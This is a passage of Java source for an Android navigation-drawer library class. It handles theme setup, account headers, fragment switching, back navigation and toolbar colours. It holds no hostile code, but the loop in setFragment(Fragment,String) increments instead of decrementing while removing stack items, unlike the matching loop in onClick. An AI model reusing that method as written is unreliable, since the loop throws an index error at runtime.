onBackPressed();
}
}
};
private MaterialAccountListener accountListener;
private DrawerLayout.DrawerListener drawerListener;
@SuppressWarnings("unchecked")
@Override
/**
* Do not Override this method!!! <br>
* Use init() instead
*/
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Resources.Theme theme = this.getTheme();
TypedValue typedValue = new TypedValue();
theme.resolveAttribute(R.attr.drawerType,typedValue,true);
drawerHeaderType = typedValue.data;
theme.resolveAttribute(R.attr.rippleBackport,typedValue,false);
rippleSupport = typedValue.data != 0;
theme.resolveAttribute(R.attr.uniqueToolbarColor,typedValue,false);
uniqueToolbarColor = typedValue.data != 0;
theme.resolveAttribute(R.attr.singleAccount,typedValue,false);
singleAccount = typedValue.data != 0;
theme.resolveAttribute(R.attr.multipaneSupport,typedValue,false);
multiPaneSupport = typedValue.data != 0;
theme.resolveAttribute(R.attr.drawerColor,typedValue,true);
drawerColor = typedValue.data;
if(drawerHeaderType == DRAWERHEADER_ACCOUNTS)
setContentView(R.layout.activity_material_navigation_drawer);
else
setContentView(R.layout.activity_material_navigation_drawer_customheader);
// init Typeface
fontManager = new TypefaceManager(this.getAssets());
// init toolbar & status bar
statusBar = (ImageView) findViewById(R.id.statusBar);
toolbar = (Toolbar) findViewById(R.id.toolbar);
// init drawer components
layout = (MaterialDrawerLayout) this.findViewById(R.id.drawer_layout);
content = (RelativeLayout) this.findViewById(R.id.content);
drawer = (RelativeLayout) this.findViewById(R.id.drawer);
if(drawerHeaderType == DRAWERHEADER_ACCOUNTS) {
username = (TextView) this.findViewById(R.id.user_nome);
usermail = (TextView) this.findViewById(R.id.user_email);
userphoto = (ImageView) this.findViewById(R.id.user_photo);
userSecondPhoto = (ImageView) this.findViewById(R.id.user_photo_2);
userThirdPhoto = (ImageView) this.findViewById(R.id.user_photo_3);
usercover = (ImageView) this.findViewById(R.id.user_cover);
usercoverSwitcher = (ImageView) this.findViewById(R.id.user_cover_switcher);
userButtonSwitcher = (ImageButton) this.findViewById(R.id.user_switcher);
// set Roboto Fonts
username.setTypeface(fontManager.getRobotoMedium());
usermail.setTypeface(fontManager.getRobotoRegular());
// set the image
if(!singleAccount) {
userButtonSwitcher.setImageResource(R.drawable.ic_arrow_drop_down_white_24dp);
userButtonSwitcher.setOnClickListener(accountSwitcherListener);
}
}
else
customDrawerHeader = (LinearLayout) this.findViewById(R.id.drawer_header);
sections = (LinearLayout) this.findViewById(R.id.sections);
bottomSections = (LinearLayout) this.findViewById(R.id.bottom_sections);
// init lists
sectionList = new LinkedList<>();
bottomSectionList = new LinkedList<>();
accountManager = new LinkedList<>();
accountSectionList = new LinkedList<>();
subheaderList = new LinkedList<>();
elementsList = new LinkedList<>();
childFragmentStack = new LinkedList<>();
childTitleStack = new LinkedList<>();
// init listeners
if(drawerHeaderType == DRAWERHEADER_ACCOUNTS) {
userphoto.setOnClickListener(currentAccountListener);
if(singleAccount)
usercover.setOnClickListener(currentAccountListener);
else
usercover.setOnClickListener(accountSwitcherListener);
userSecondPhoto.setOnClickListener(secondAccountListener);
userThirdPhoto.setOnClickListener(thirdAccountListener);
}
// set drawer backgrond color
drawer.setBackgroundColor(drawerColor);
//get resources and density
resources = this.getResources();
density = resources.getDisplayMetrics().density;
// set the right drawer width
DrawerLayout.LayoutParams drawerParams = (android.support.v4.widget.DrawerLayout.LayoutParams) drawer.getLayoutParams();
drawerParams.width = Utils.getDrawerWidth(resources);
drawer.setLayoutParams(drawerParams);
// get primary color
theme.resolveAttribute(R.attr.colorPrimary, typedValue, true);
primaryColor = typedValue.data;
theme.resolveAttribute(R.attr.colorPrimaryDark, typedValue, true);
primaryDarkColor = typedValue.data;
// if device is kitkat
if(Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT) {
TypedArray windowTraslucentAttribute = theme.obtainStyledAttributes(new int[]{android.R.attr.windowTranslucentStatus});
kitkatTraslucentStatusbar = windowTraslucentAttribute.getBoolean(0, false);
if(kitkatTraslucentStatusbar) {
Window window = this.getWindow();
window.setFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS,
WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
RelativeLayout.LayoutParams statusParams = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, resources.getDimensionPixelSize(R.dimen.traslucentStatusMargin));
statusBar.setLayoutParams(statusParams);
statusBar.setImageDrawable(new ColorDrawable(darkenColor(primaryColor)));
if(drawerHeaderType == DRAWERHEADER_ACCOUNTS) {
RelativeLayout.LayoutParams photoParams = (RelativeLayout.LayoutParams) userphoto.getLayoutParams();
photoParams.setMargins((int) (16 * density), resources.getDimensionPixelSize(R.dimen.traslucentPhotoMarginTop), 0, 0);
userphoto.setLayoutParams(photoParams);
}
}
}
// INIT ACTION BAR
this.setSupportActionBar(toolbar);
actionBar = getSupportActionBar();
// DEVELOPER CALL TO INIT
init(savedInstanceState);
if(sectionList.size() == 0) {
throw new RuntimeException("You must add at least one Section to top list.");
}
if(deviceSupportMultiPane()) {
// se il multipane e' attivo, si e' in landscape e si e' un tablet allora si passa in multipane mode
layout.setDrawerLockMode(DrawerLayout.LOCK_MODE_LOCKED_OPEN,drawer);
DrawerLayout.LayoutParams params = new DrawerLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
params.setMargins((int) (320 * density),0,0,0);
content.setLayoutParams(params);
layout.setScrimColor(Color.TRANSPARENT);
layout.openDrawer(drawer);
layout.requestDisallowInterceptTouchEvent(true);
}
else {
// se non si sta lavorando in multiPane allora si inserisce il pulsante per aprire/chiudere
actionBar.setDisplayHomeAsUpEnabled(true);
actionBar.setHomeButtonEnabled(true);
pulsante = new ActionBarDrawerToggle(this,layout,toolbar,R.string.nothing,R.string.nothing) {
public void onDrawerClosed(View view) {
invalidateOptionsMenu(); // creates call to onPrepareOptionsMenu()
// abilita il touch del drawer
setDrawerTouchable(true);
if(drawerListener != null)
drawerListener.onDrawerClosed(view);
}
public void onDrawerOpened(View drawerView) {
invalidateOptionsMenu(); // creates call to onPrepareOptionsMenu()
if(drawerListener != null)
drawerListener.onDrawerOpened(drawerView);
}
@Override
public void onDrawerSlide(View drawerView, float slideOffset) {
if(!isCurrentFragmentChild) { // if user seeing a master fragment
// if user wants the sliding arrow it compare
if (slidingDrawerEffect)
super.onDrawerSlide(drawerView, slideOffset);
else
super.onDrawerSlide(drawerView, 0);
}
else {// if user seeing a child fragment always shows the back arrow
super.onDrawerSlide(drawerView,1f);
}
if(drawerListener != null)
drawerListener.onDrawerSlide(drawerView,slideOffset);
}
@Override
public void onDrawerStateChanged(int newState) {
super.onDrawerStateChanged(newState);
if(drawerListener != null)
drawerListener.onDrawerStateChanged(newState);
}
};
pulsante.setToolbarNavigationClickListener(toolbarToggleListener);
layout.setDrawerListener(pulsante);
layout.requestDisallowInterceptTouchEvent(false);
}
// si attacca alla usercover un listener
ViewTreeObserver vto;
if(drawerHeaderType == DRAWERHEADER_ACCOUNTS)
vto = usercover.getViewTreeObserver();
else
vto = customDrawerHeader.getViewTreeObserver();
vto.addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() {
@Override
public void onGlobalLayout() {
// quando l'immagine e' stata caricata
// change user space to 16:9
int width = drawer.getWidth();
int heightCover;
switch(drawerHeaderType) {
default:
case DRAWERHEADER_ACCOUNTS:
case DRAWERHEADER_IMAGE:
case DRAWERHEADER_CUSTOM:
// si fa il rapporto in 16 : 9
heightCover = (9 * width) / 16;
break;
case DRAWERHEADER_NO_HEADER:
// height cover viene usato per prendere l'altezza della statusbar
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT || (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT && !kitkatTraslucentStatusbar)) {
heightCover = 0;
}
else {
// su kitkat (con il traslucentstatusbar attivo) e su Lollipop e' 25 dp
heightCover = (int) (25 * density);
}
break;
}
// set user space
if(drawerHeaderType == DRAWERHEADER_ACCOUNTS) {
usercover.setLayoutParams(new RelativeLayout.LayoutParams(RelativeLayout.LayoutParams.MATCH_PARENT, heightCover));
usercoverSwitcher.setLayoutParams(new RelativeLayout.LayoutParams(RelativeLayout.LayoutParams.MATCH_PARENT, heightCover));
}
else {
customDrawerHeader.setLayoutParams(new RelativeLayout.LayoutParams(RelativeLayout.LayoutParams.MATCH_PARENT, heightCover));
}
// heightCover (DRAWER HEADER) + 8 (PADDING) + sections + 8 (PADDING) + 1 (DIVISOR) + bottomSections + subheaders
int heightDrawer = (int) (( ( 8 + 8 + 1) * density ) + heightCover + sections.getHeight() + ((density * 48) * bottomSectionList.size()) + (subheaderList.size() * (35*density)));
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT || (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT && !kitkatTraslucentStatusbar)) {
heightDrawer += (density * 25);
}
// create the divisor
View divisor = new View(MaterialNavigationDrawer.this);
divisor.setBackgroundColor(Color.parseColor("#e0e0e0"));
// si aggiungono le bottom sections
if(heightDrawer >= Utils.getScreenHeight(MaterialNavigationDrawer.this)) {
// add the divisor to the section view
LinearLayout.LayoutParams paramDivisor = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,1);
paramDivisor.setMargins(0,(int) (8 * density), 0 , (int) (8 * density));
sections.addView(divisor,paramDivisor);
for (MaterialSection section : bottomSectionList) {
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, (int) (48 * density));
sections.addView(section.getView(), params);
}
}
else {
// add the divisor to the bottom section listview
LinearLayout.LayoutParams paramDivisor = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,1);
bottomSections.addView(divisor,paramDivisor);
for (MaterialSection section : bottomSectionList) {
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, (int) (48 * density));
bottomSections.addView(section.getView(), params);
}
}
ViewTreeObserver obs;
if(drawerHeaderType == DRAWERHEADER_ACCOUNTS)
obs = usercover.getViewTreeObserver();
else
obs = customDrawerHeader.getViewTreeObserver();
// si rimuove il listener
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
obs.removeOnGlobalLayoutListener(this);
} else {
obs.removeGlobalOnLayoutListener(this);
}
}
});
MaterialSection section;
if (savedInstanceState == null) {
// init account views
if(accountManager.size() > 0) {
currentAccount = accountManager.get(0);
notifyAccountDataChanged();
}
// init section
section = sectionList.get(0);
if(section.getTarget() != MaterialSection.TARGET_FRAGMENT)
throw new RuntimeException("The first section added must have a fragment as target");
}
else {
ArrayList<Integer> accountNumbers = savedInstanceState.getIntegerArrayList(STATE_ACCOUNT);
// ripristina gli account
for(int i = 0; i< accountNumbers.size(); i++) {
MaterialAccount account = accountManager.get(i);
account.setAccountNumber(accountNumbers.get(i));
if(account.getAccountNumber() == MaterialAccount.FIRST_ACCOUNT) {
currentAccount = account;
}
}
notifyAccountDataChanged();
int accountSelected = savedInstanceState.getInt(STATE_SECTION);
if(accountSelected >= BOTTOM_SECTION_START) {
section = bottomSectionList.get(accountSelected-BOTTOM_SECTION_START);
}
else
section = sectionList.get(accountSelected);
if(section.getTarget() != MaterialSection.TARGET_FRAGMENT) {
section = sectionList.get(0);
}
}
title = section.getTitle();
currentSection = section;
section.select();
setFragment((Fragment) section.getTargetFragment(), section.getTitle(), null,savedInstanceState != null);
// change the toolbar color for the first section
changeToolbarColor(section);
// add the first section to the child stack
childFragmentStack.add((Fragment) section.getTargetFragment());
childTitleStack.add(section.getTitle());
// learning pattern
if(learningPattern) {
layout.openDrawer(drawer);
disableLearningPattern();
}
}
@Override
protected void onResume() {
super.onResume();
if(!deviceSupportMultiPane())
layout.setDrawerLockMode(DrawerLayout.LOCK_MODE_UNLOCKED, drawer);
else
layout.setDrawerLockMode(DrawerLayout.LOCK_MODE_LOCKED_OPEN, drawer);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
return super.onCreateOptionsMenu(menu);
}
/* Chiamata dopo l'invalidateOptionsMenu() */
@Override
public boolean onPrepareOptionsMenu(Menu menu) {
if(layout.isDrawerOpen(drawer)) {
menu.clear();
}
return super.onPrepareOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Se dal drawer si seleziona un oggetto
if(pulsante != null)
if (pulsante.onOptionsItemSelected(item)) {
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
protected void onPostCreate(Bundle savedInstanceState) {
super.onPostCreate(savedInstanceState);
// Sync the toggle state after onRestoreInstanceState has occurred.
if(pulsante != null )
pulsante.syncState();
}
@Override
public void onConfigurationChanged(Configuration newConfig) {// al cambio di orientamento dello schermo
super.onConfigurationChanged(newConfig);
// Passa tutte le configurazioni al drawer
if(pulsante != null ) {
pulsante.onConfigurationChanged(newConfig);
}
}
@Override
public void setTitle(CharSequence title) {
this.title = title;
this.getSupportActionBar().setTitle(title);
}
@Override
public void onBackPressed() {
if(!isCurrentFragmentChild) {
switch (backPattern) {
default:
case BACKPATTERN_BACK_ANYWHERE:
super.onBackPressed();
break;
case BACKPATTERN_BACK_TO_FIRST:
MaterialSection section = sectionList.get(0);
if (currentSection == section)
super.onBackPressed();
else {
section.select();
onClick(section);
}
break;
case BACKPATTERN_CUSTOM:
MaterialSection backedSection = backToSection(getCurrentSection());
if (currentSection == backedSection)
super.onBackPressed();
else {
if (backedSection.getTarget() != MaterialSection.TARGET_FRAGMENT) {
throw new RuntimeException("The restored section must have a fragment as target");
}
backedSection.select();
onClick(backedSection);
}
break;
}
}
else {
if(childFragmentStack.size() <= 1) {
isCurrentFragmentChild = false;
onBackPressed();
}
else {
// reload the child before
Fragment newFragment = childFragmentStack.get(childFragmentStack.size() - 2);
String newTitle = childTitleStack.get(childTitleStack.size() - 2);
// get and remove the last child
Fragment currentFragment = childFragmentStack.remove(childFragmentStack.size() - 1);
childTitleStack.remove(childTitleStack.size() - 1);
setFragment(newFragment,newTitle,currentFragment);
if(childFragmentStack.size() == 1) {
// user comed back to master section
isCurrentFragmentChild = false;
pulsante.setDrawerIndicatorEnabled(true);
}
}
}
}
@Override
protected void onSaveInstanceState(Bundle outState) {
int position = this.getCurrentSection().getPosition();
outState.putInt(STATE_SECTION,position);
ArrayList<Integer> list = new ArrayList<>();
for(MaterialAccount account : accountManager)
list.add(account.getAccountNumber());
outState.putIntegerArrayList(STATE_ACCOUNT,list);
super.onSaveInstanceState(outState);
}
@Override
protected void onDestroy() {
super.onDestroy();
// recycle bitmaps
recycleAccounts();
}
/**
* Method used with BACKPATTERN_CUSTOM to retrieve the section which is restored
* @param currentSection the section used at this time
* @return the Section to restore that has Fragment as target (or currentSection for exit from activity)
*/
protected MaterialSection backToSection(MaterialSection currentSection) {
return currentSection;
}
/**
* Set the section informations.<br />
* In short:
* <ul>
* <li>set the section title into the toolbar</li>
* <li>set the section color to the toolbar</li>
* <li>open/call the target</li>
* </ul>
*
* This method is equal to a user tap on a drawer section.
* @param section the section which is replaced
*/
public void setSection(MaterialSection section) {
this.onClick(section);
setDrawerTouchable(true);
}
/**
* Set the fragment to the activity content.<br />
* N.B. If you want to support the master/child flow, please consider to use setFragmentChild instead
*
* @param fragment to replace into the main content
* @param title to set into Toolbar
*/
public void setFragment(Fragment fragment,String title) {
setFragment(fragment,title,null);
if(!isCurrentFragmentChild) {// remove the last child from the stack
childFragmentStack.remove(childFragmentStack.size() - 1);
childTitleStack.remove(childTitleStack.size() - 1);
}
else for(int i = childFragmentStack.size()-1;i >= 0;i++) { // if a section is clicked when user is into a child remove all childs from stack
childFragmentStack.remove(i);
childTitleStack.remove(i);
}
// add to the childStack the Fragment and title
childFragmentStack.add(fragment);
childTitleStack.add(title);
isCurrentFragmentChild = false;
}
private void setFragment(Fragment fragment,String title, Fragment oldFragment) {
setFragment(fragment,title,oldFragment,false);
}
private void setFragment(Fragment fragment,String title,Fragment oldFragment,boolean hasSavedInstanceState) {
// si setta il titolo
setTitle(title);
if(Build.VERSION.SDK_INT < Build.VERSION_CODES.HONEYCOMB) {
// before honeycomb there is not android.app.Fragment
android.support.v4.app.FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
if(oldFragment != null && oldFragment != fragment)
ft.remove((android.support.v4.app.Fragment) oldFragment);
if(!hasSavedInstanceState) // se non e' avvenuta una rotazione
ft.replace(R.id.frame_container, (android.support.v4.app.Fragment) fragment).commit();
}
else if (fragment instanceof android.app.Fragment) {
if (oldFragment instanceof android.support.v4.app.Fragment)
throw new RuntimeException("You should use only one type of Fragment");
FragmentTransaction ft = getFragmentManager().beginTransaction();
if (oldFragment != null && fragment != oldFragment)
ft.remove((android.app.Fragment) oldFragment);
if(!hasSavedInstanceState) // se non e' avvenuta una rotazione
ft.replace(R.id.frame_container, (android.app.Fragment) fragment).commit();
}
else if(fragment instanceof android.support.v4.app.Fragment) {
if(oldFragment instanceof android.app.Fragment)
throw new RuntimeException("You should use only one type of Fragment");
android.support.v4.app.FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
if(oldFragment != null && oldFragment != fragment)
ft.remove((android.support.v4.app.Fragment) oldFragment);
if(!hasSavedInstanceState) // se non e' avvenuta una rotazione
ft.replace(R.id.frame_container, (android.support.v4.app.Fragment) fragment).commit();
}
else
throw new RuntimeException("Fragment must be android.app.Fragment or android.support.v4.app.Fragment");
// si chiude il drawer
if(!deviceSupportMultiPane())
layout.closeDrawer(drawer);
}
/**
* Set a child to the activity content<br />
* This method also add the fragment to the child stack.
*
* @param fragment to replace into the main content
* @param title to set into Toolbar
*/
public void setFragmentChild(Fragment fragment,String title) {
isCurrentFragmentChild = true;
// replace the fragment
setFragment(fragment,title,childFragmentStack.get(childFragmentStack.size() - 1));
// add to the stack the child
childFragmentStack.add(fragment);
childTitleStack.add(title);
// sync the toolbar toggle state
pulsante.setDrawerIndicatorEnabled(false);
}
// private methods
private MaterialAccount findAccountNumber(int number) {
for(MaterialAccount account : accountManager)
if(account.getAccountNumber() == number)
return account;
return null;
}
private void switchAccounts(final MaterialAccount newAccount) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH) {
final ImageView floatingImage = new ImageView(this);
// si calcolano i rettangoli di inizio e fine
Rect startingRect = new Rect();
Rect finalRect = new Rect();
Point offsetHover = new Point();
// 64dp primary user image / 40dp other user image = 1.6 scale
float finalScale = 1.6f;
final int statusBarHeight;
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT || (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT && !kitkatTraslucentStatusbar)) {
statusBarHeight = (int) (25 * density);
} else {
statusBarHeight = 0;
}
// si tiene traccia della foto cliccata
ImageView photoClicked;
if (newAccount.getAccountNumber() == MaterialAccount.SECOND_ACCOUNT) {
photoClicked = userSecondPhoto;
} else {
photoClicked = userThirdPhoto;
}
photoClicked.getGlobalVisibleRect(startingRect, offsetHover);
floatingImage.setImageDrawable(photoClicked.getDrawable());
// si aggiunge una view nell'esatta posizione dell'altra
RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(photoClicked.getWidth(), photoClicked.getHeight());
params.setMargins(offsetHover.x, offsetHover.y - statusBarHeight, 0, 0);
drawer.addView(floatingImage, params);
// si setta la nuova foto di profilo sopra alla vecchia
photoClicked.setImageDrawable(currentAccount.getCircularPhoto());
// si setta la nuova immagine di background da visualizzare sotto la vecchia
usercoverSwitcher.setImageDrawable(newAccount.getBackground());
userphoto.getGlobalVisibleRect(finalRect);
// Si calcola l'offset finale (LARGHEZZA DEL CONTAINER GRANDE - LARGHEZZA DEL CONTAINER PICCOLO / 2) e lo si applica
int offset = (((finalRect.bottom - finalRect.top) - (startingRect.bottom - finalRect.top)) / 2);
finalRect.offset(offset, offset - statusBarHeight);
startingRect.offset(0, -statusBarHeight);
// Se il dispositivo usa un linguaggio RTL si rimuove l'offset della parte a sinistra dello schermo
if(Utils.isRTL()) {
// si rimuove dal conteggio la parte a sinistra del drawer.
int leftOffset = resources.getDisplayMetrics().widthPixels - Utils.getDrawerWidth(resources);
startingRect.left -= leftOffset;
finalRect.left -= leftOffset;
}
// si animano le viste
AnimatorSet set = new AnimatorSet();
set
// si ingrandisce l'immagine e la si sposta a sinistra.
.play(ObjectAnimator.ofFloat(floatingImage, View.X, startingRect.left, finalRect.left))
.with(ObjectAnimator.ofFloat(floatingImage, View.Y, startingRect.top, finalRect.top))
.with(ObjectAnimator.ofFloat(floatingImage, View.SCALE_X, 1f, finalScale))
.with(ObjectAnimator.ofFloat(floatingImage, View.SCALE_Y, 1f, finalScale))
.with(ObjectAnimator.ofFloat(userphoto, View.ALPHA, 1f, 0f))
.with(ObjectAnimator.ofFloat(usercover, View.ALPHA, 1f, 0f))
.with(ObjectAnimator.ofFloat(photoClicked, View.SCALE_X, 0f, 1f))
.with(ObjectAnimator.ofFloat(photoClicked, View.SCALE_Y, 0f, 1f));
set.setDuration(USER_CHANGE_TRANSITION);
set.setInterpolator(new DecelerateInterpolator());
set.addListener(new AnimatorListenerAdapter() {
@SuppressLint("NewApi")
@Override
public void onAnimationEnd(Animator animation) {
// si carica la nuova immagine
((View) userphoto).setAlpha(1);
setFirstAccountPhoto(newAccount.getCircularPhoto());
// si cancella l'imageview per l'effetto
drawer.removeView(floatingImage);
// si cambiano i dati utente
setUserEmail(newAccount.getSubTitle());
setUsername(newAccount.getTitle());
// si cambia l'immagine soprastante
setDrawerHeaderImage(newAccount.getBackground());
// si fa tornare il contenuto della cover visibile (ma l'utente non nota nulla)
((View) usercover).setAlpha(1);
// switch numbers
currentAccount.setAccountNumber(newAccount.getAccountNumber());
newAccount.setAccountNumber(MaterialAccount.FIRST_ACCOUNT);
// change pointer to newAccount
currentAccount = newAccount;
// si chiude il drawer
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
}
@Override
public void onAnimationCancel(Animator animation) {
// se si annulla l'animazione si conclude e basta.
onAnimationEnd(animation);
}
});
set.start();
}
else {
// for minor version no animation is used.
// switch numbers
currentAccount.setAccountNumber(newAccount.getAccountNumber());
newAccount.setAccountNumber(MaterialAccount.FIRST_ACCOUNT);
// change pointer to newAccount
currentAccount = newAccount;
// refresh views
notifyAccountDataChanged();
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
}
}
private boolean deviceSupportMultiPane() {
if(multiPaneSupport && resources.getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE && resources.getConfiguration().smallestScreenWidthDp >= 600)
return true;
else
return false;
}
private void setDrawerTouchable(boolean isTouchable) {
drawerTouchLocked = !isTouchable;
for(MaterialSection section : sectionList) {
section.setTouchable(isTouchable);
}
for(MaterialSection section : bottomSectionList) {
section.setTouchable(isTouchable);
}
}
private void recycleAccounts() {
for(MaterialAccount account : accountManager) {
account.recycle();
}
}
protected int darkenColor(int color) {
if(color == primaryColor)
return primaryDarkColor;
float[] hsv = new float[3];
Color.colorToHSV(color, hsv);
hsv[2] *= 0.8f; // value component
return Color.HSVToColor(hsv);
}
@Override
public void onClick(MaterialSection section) {
switch (section.getTarget()) {
case MaterialSection.TARGET_FRAGMENT:
setFragment((Fragment) section.getTargetFragment(), section.getTitle(), (Fragment) currentSection.getTargetFragment());
changeToolbarColor(section);
// remove the last child from the stack
if(!isCurrentFragmentChild) {
childFragmentStack.remove(childFragmentStack.size() - 1);
childTitleStack.remove(childTitleStack.size() - 1);
}
else for(int i = childFragmentStack.size()-1;i >= 0;i--) { // if a section is clicked when user is into a child remove all childs from stack
childFragmentStack.remove(i);
childTitleStack.remove(i);
}
// add to the childStack the Fragment and title
childFragmentStack.add((Fragment)section.getTargetFragment());
childTitleStack.add(section.getTitle());
isCurrentFragmentChild = false;
pulsante.setDrawerIndicatorEnabled(true);
break;
case MaterialSection.TARGET_ACTIVITY:
this.startActivity(section.getTargetIntent());
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
break;
// TARGET_LISTENER viene gestito internamente
case MaterialSection.TARGET_LISTENER:
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
default:
break;
}
currentSection = section;
int position = section.getPosition();
for (MaterialSection mySection : sectionList) {
if (position != mySection.getPosition())
mySection.unSelect();
}
for (MaterialSection mySection : bottomSectionList) {
if (position != mySection.getPosition())
mySection.unSelect();
}
if(!deviceSupportMultiPane()) {
setDrawerTouchable(false);
}
}
@Override
public void onUserPhotoLoaded(MaterialAccount account) {
if(account.getAccountNumber() <= MaterialAccount.THIRD_ACCOUNT)
notifyAccountDataChanged();
}
@Override
public void onBackgroundLoaded(MaterialAccount account) {
if(account.getAccountNumber() <= MaterialAccount.THIRD_ACCOUNT)
notifyAccountDataChanged();
}
// method used for change supports
public void setAccountListener(MaterialAccountListener listener) {
this.accountListener = listener;
}
public void setDrawerListener(DrawerLayout.DrawerListener listener) {
this.drawerListener = listener;
}
public void addMultiPaneSupport() {
this.multiPaneSupport = true;
}
public void allowArrowAnimation() {
slidingDrawerEffect = true;
}
public void disableLearningPattern() {
learningPattern = false;
}
/**
* Set the HomeAsUpIndicator that is visible when user navigate to a fragment child
*
* N.B. call this method AFTER the init() to leave the time to instantiate the ActionBarDrawerToggle
* @param resId the id to resource drawable to use as indicator
* @return true if indicator is setted, false otherwise
*/
public boolean setHomeAsUpIndicator(int resId) {
return setHomeAsUpIndicator(resources.getDrawable(resId));
}
/**
* Set the HomeAsUpIndicator that is visible when user navigate to a fragment child
* @param indicator the resource drawable to use as indicator
* @return true if indicator is setted, false otherwise
*/
public boolean setHomeAsUpIndicator(Drawable indicator) {
if(pulsante != null) { // if multipane support is enabled and device is a tablet this call do nothing
pulsante.setHomeAsUpIndicator(indicator);
return true;
}
else return false;
}
public void changeToolbarColor(MaterialSection section) {
int sectionPrimaryColor;
int sectionPrimaryColorDark;
if (section.hasSectionColor() && !uniqueToolbarColor) {
if (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT) {
if (!section.hasSectionColorDark())
sectionPrimaryColorDark = darkenColor(section.getSectionColor());
else
sectionPrimaryColorDark = section.getSectionColorDark();
} else
sectionPrimaryColorDark = section.getSectionColor(); // Lollipop have his darker status bar
sectionPrimaryColor = section.getSectionColor();
} else {
if (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT)
sectionPrimaryColorDark = primaryDarkColor;
else
sectionPrimaryColorDark = primaryColor; // Lollipop have his darker status bar | under kitkat is not showed.
sectionPrimaryColor = primaryColor;
}
this.getToolbar().setBackgroundColor(sectionPrimaryColor);
this.statusBar.setImageDrawable(new ColorDrawable(sectionPrimaryColorDark));
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)
this.getWindow().setStatusBarColor(sectionPrimaryColorDark);
}
public void changeToolbarColor(int primaryColor, int primaryDarkColor) {
if(statusBar != null)
this.statusBar.setImageDrawable(new ColorDrawable(primaryDarkColor));
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)
this.getWindow().setStatusBarColor(primaryDarkColor);
if(getToolbar() != null)
this.getToolbar().setBackgroundColor(primaryColor);
}
public void setBackPattern(int backPattern) {
this.backPattern = backPattern;
}
public void setDrawerHeaderCustom(View view) {
if(drawerHeaderType != DRAWERHEADER_CUSTOM)
throw new RuntimeException("Your header is not setted to Custom, check in your styles.xml");
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
customDrawerHeader.addView(view,params);
}
public void setDrawerHeaderImage(Bitmap background) {
switch(drawerHeaderType) {
case DRAWERHEADER_ACCOUNTS:
usercover.setImageBitmap(background);
break;
case DRAWERHEADER_IMAGE:
ImageView image = new ImageView(this);
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
image.setScaleType(ImageView.ScaleType.FIT_XY);
image.setImageBitmap(background);
customDrawerHeader.addView(image,params);
break;
default:
throw new RuntimeException("Your drawer configuration don't support a background image, check in your styles.xml");
}
}
public void setDrawerHeaderImage(int backgroundId) {
setDrawerHeaderImage(resources.getDrawable(backgroundId));
}
public void setDrawerHeaderImage(Drawable background) {
switch(drawerHeaderType) {
case DRAWERHEADER_IMAGE:
ImageView image = new ImageView(this);
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
image.setScaleType(ImageView.ScaleType.FIT_XY);
image.setImageDrawable(background);
customDrawerHeader.addView(image, params);
break;
case DRAWERHEADER_ACCOUNTS:
usercover.setImageDrawable(background);
break;
default:
throw new RuntimeException("Your drawer configuration don't support a background image, check in your styles.xml");
}
}
// Method used for customize layout
public void setUserEmail(String email) {
usermail.setText(email);
}
public void setUsername(String username) {
this.username.setText(username);
}
public void setFirstAccountPhoto(Drawable photo) {
userphoto.setImageDrawable(photo);
}
public void setSecondAccountPhoto(Drawable photo) {
userSecondPhoto.setImageDrawable(photo);
}
public void setThirdAccountPhoto(Drawable photo) {
userThirdPhoto.setImageDrawable(photo);
}
public void setDrawerBackgroundColor(int color) {
drawer.setBackgroundColor(color);
}
public void addSection(MaterialSection section) {
section.setPosition(sectionList.size());
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,(int)(48 * density));
section.setTypeface(fontManager.getRobotoMedium());
sectionList.add(section);
sections.addView(section.getView(),params);
// add the element to the list
elementsList.add(ELEMENT_TYPE_SECTION);
}
public void addBottomSection(MaterialSection section) {
